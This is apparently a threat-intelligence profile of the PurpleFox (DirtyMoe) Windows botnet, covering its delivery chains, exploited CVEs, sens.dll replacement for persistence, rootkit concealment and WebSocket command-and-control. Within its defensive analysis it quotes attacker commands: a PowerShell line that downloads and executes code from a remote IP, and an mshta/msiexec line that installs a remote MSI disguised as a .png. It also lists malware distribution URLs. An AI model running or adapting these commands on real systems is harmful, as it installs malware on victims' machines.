PurpleFox
- Type
- Botnet
- Capabilities
- PersistenceInitial accessPrivilege escalationLateral movementDefense evasionBrute forceProcess injectionDDOS
- Delivery
- Exploit kitDrive byLure
- Platforms
- Windows
PurpleFox is a modular Windows botnet malware family active since at least 2018 that combines backdoor and downloader functionality with rootkit-based concealment and persistence. It can deploy additional payloads, execute commands, and support distributed denial-of-service attacks. PurpleFox infections have also been observed alongside XMRig cryptocurrency mining components. The PurpleFox name additionally identifies a private exploit kit used to distribute PurpleFox malware and frequently associated with delivery of DirtyMoe.
Infection chains use malicious MSI installers, PowerShell, browser exploitation, and abuse of legitimate Windows utilities. Observed delivery mechanisms include drive-by exploitation, installers masquerading as Telegram software, and Web Proxy Auto-Discovery abuse targeting Indonesian users. PurpleFox has exploited Internet Explorer vulnerabilities, including CVE-2021-26411, and Windows privilege-escalation vulnerabilities, including CVE-2021-1732. Delivery chains observed in 2026 used Microsoft HTML Application Host to invoke Windows Installer and retrieve disguised MSI packages. The malware can also propagate through exploitation of vulnerable systems and password brute-forcing.
PurpleFox establishes privileged execution and persistence by replacing a legitimate Windows service DLL and arranging its activation after reboot. Its rootkit conceals malicious files, registry entries, and processes, while additional components are unpacked and loaded into memory. Process injection and executable protection further complicate detection. Associated campaigns have deployed FoxSocket, a separate .NET backdoor using encrypted WebSocket command-and-control communications.
PurpleFox has affected Windows workstations and servers across multiple regions, including Ukraine, Indonesia, and the Middle East. CERT-UA tracks PurpleFox activity affecting Ukraine as UAC-0027 and identified more than 2,000 infected computers during a 2024 investigation.
Associated vulnerabilities
7 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The Computer Emergency Response Team in Ukraine (CERT-UA) is warning about a PurpleFox malware campaign that has infected at least 2,000 computers in the country. PurpleFox (or 'DirtyMoe') is a modular Windows botnet malware first spotted in 2018 that comes with a rootkit module allowing it to hide and persist between device reboots.
Techniques & procedures
27 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
3 techniques
Initial Access
The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising.
PurpleFox Exploit Kit has started exploiting CVE-2021-26411 RIG Exploit Kit has started exploiting CVE-2021-26411 Bottle Exploit Kit is back, and has started exploiting CVE-2020-1380 and CVE-2021-26411
The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising.
Execution
7 techniques
Execution
PurpleFox malware has placed JScript to execute in this table in the past and other malware families have used the table to specify that a malicious DLL should be executed during installation.
The activity starts with either of the following PowerShell commands being executed: "cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png');MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png"
mshta.exe vbscript:createobject("wscript.shell").run("Cmd /c for /d %i in (...) do Msiexec /i http://%i/3EBCE3A4.Png /Q",0)(window.close)
PurpleFox EK primarily abuses vulnerabilities in the Internet Explorer browser via phishing emails or popunder ads.
URLs Distributing Malicious Installers • hxxp://58585[.]xyz/tsetup20473[.]exe • hxxp://xiaotaiyang[.]xyz/tsetup20473[.]exe • hxxp://1077cp111[.]com/x[.]exe • hxxp://whats[.]jsnsgjy[.]cn/whatsappsetupr.exe
PurpleFox оставляет в системе специально подготовленные DLL-библиотеки и принудительно загружает их через процесс svchost.exe...
These commands move sens.dll to C:\Windows\AppPatch\Acpsens.dll and replace it with the installed file setupact64.log ... replacing sens.dll , which will make the malware run as the System Event Notification Service (SENS).
Persistence
2 techniques
Persistence
It then installs the components ... Afterward, it sets two registry values under the key “HKLM\SYSTEM\CurrentControlSet\Control\Session Manager”: AllowProtectedRenames to 0x1, and PendingFileRenameOperations...
The sample starts by copying itself to another file and installing a new service
Privilege Escalation
3 techniques
Privilege Escalation
Afterward, it loads the driver to hide its files and registries and then spawns and injects a sequence of a 32-bit process to inject its code modules into, as they are 32-bit DLLs.
In most cases, the PurpleFox campaign is used to exploit vulnerable systems where the exploit gains the highest privileges and installs the malware via the MSI installer.
The sample starts by copying itself to another file and installing a new service
Stealth
10 techniques
Stealth
The primary aim of this next article is to analyze rootkit techniques that DirtyMoe uses. The key techniques of the DirtyMoe rootkit can be listed as follows: the driver can hide itself and other malware activities on kernel and user mode.
The HTA decodes the next payload from an array of character codes and launches it... The downloaded PowerShell script is heavily obfuscated... We observed obfuscation techniques unique to each campaign, aiming to mask keywords that trigger alerts in EDRs and SIEMs.
In January 2022, a campaign spread the malware under the guise of a Telegram desktop app.
The vast majority of detections for mshta.exe come from instances where the command line contains domains that appear to be legitimate services but are hosted on the .cc TLD... Starting in late February 2026... shifted to .vg and .gl TLDs.
Afterward, it loads the driver to hide its files and registries and then spawns and injects a sequence of a 32-bit process to inject its code modules into, as they are 32-bit DLLs.
The tool is MSHTA, short for Microsoft HTML Application Host, a built-in Windows utility that can run scripts from local files and remote internet locations... Attackers have been using it to deliver some of today’s most harmful malware... All use MSHTA as a stepping stone during early or middle stages of infection.
One of its long-standing delivery methods... remained consistent: launching msiexec from an MSHTA command line in order to download and execute an MSI package disguised as a .png file.
PurpleFox оставляет в системе специально подготовленные DLL-библиотеки и принудительно загружает их через процесс svchost.exe...
These commands move sens.dll to C:\Windows\AppPatch\Acpsens.dll and replace it with the installed file setupact64.log ... replacing sens.dll , which will make the malware run as the System Event Notification Service (SENS).
After selecting the appropriate vulnerability, it uses the PowerSploit module to reflectively load the embedded exploit bundle binary with the target vulnerability and an MSI command as arguments.
Defense Impairment
1 technique
Defense Impairment
It then installs the components ... Afterward, it sets two registry values under the key “HKLM\SYSTEM\CurrentControlSet\Control\Session Manager”: AllowProtectedRenames to 0x1, and PendingFileRenameOperations...
Credential Access
1 technique
Credential Access
CERT-UA says PurpleFox typically infects systems when victims launch laced MSI installers and highlights its self-propagation capabilities using exploits for known flaws and password brute-forcing.
Discovery
1 technique
Discovery
Through port-scanning and open-database of vulnerabilities, the attackers find and target a large number of weak computers.
Lateral Movement
1 technique
Lateral Movement
DirtyMoe is run as a Windows service under system-level privileges via EternalBlue and at least three other exploits.
Command and Control
2 techniques
Command and Control
In October 2021, researchers noticed that new versions of PurpleFox switched to using WebSocket for command and control (C2) communications for stealth.
all were found to be serving two variants of another PowerShell script that acts as the main downloader for the .NET backdoor... Aside from the configuration, the payload itself is retrieved from 185.112.144[.]45/a/data .
Impact
1 technique
Impact
As a final step, the system is restarted to allow PendingFileRenameOperations to take place, replacing sens.dll
Observables
158 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.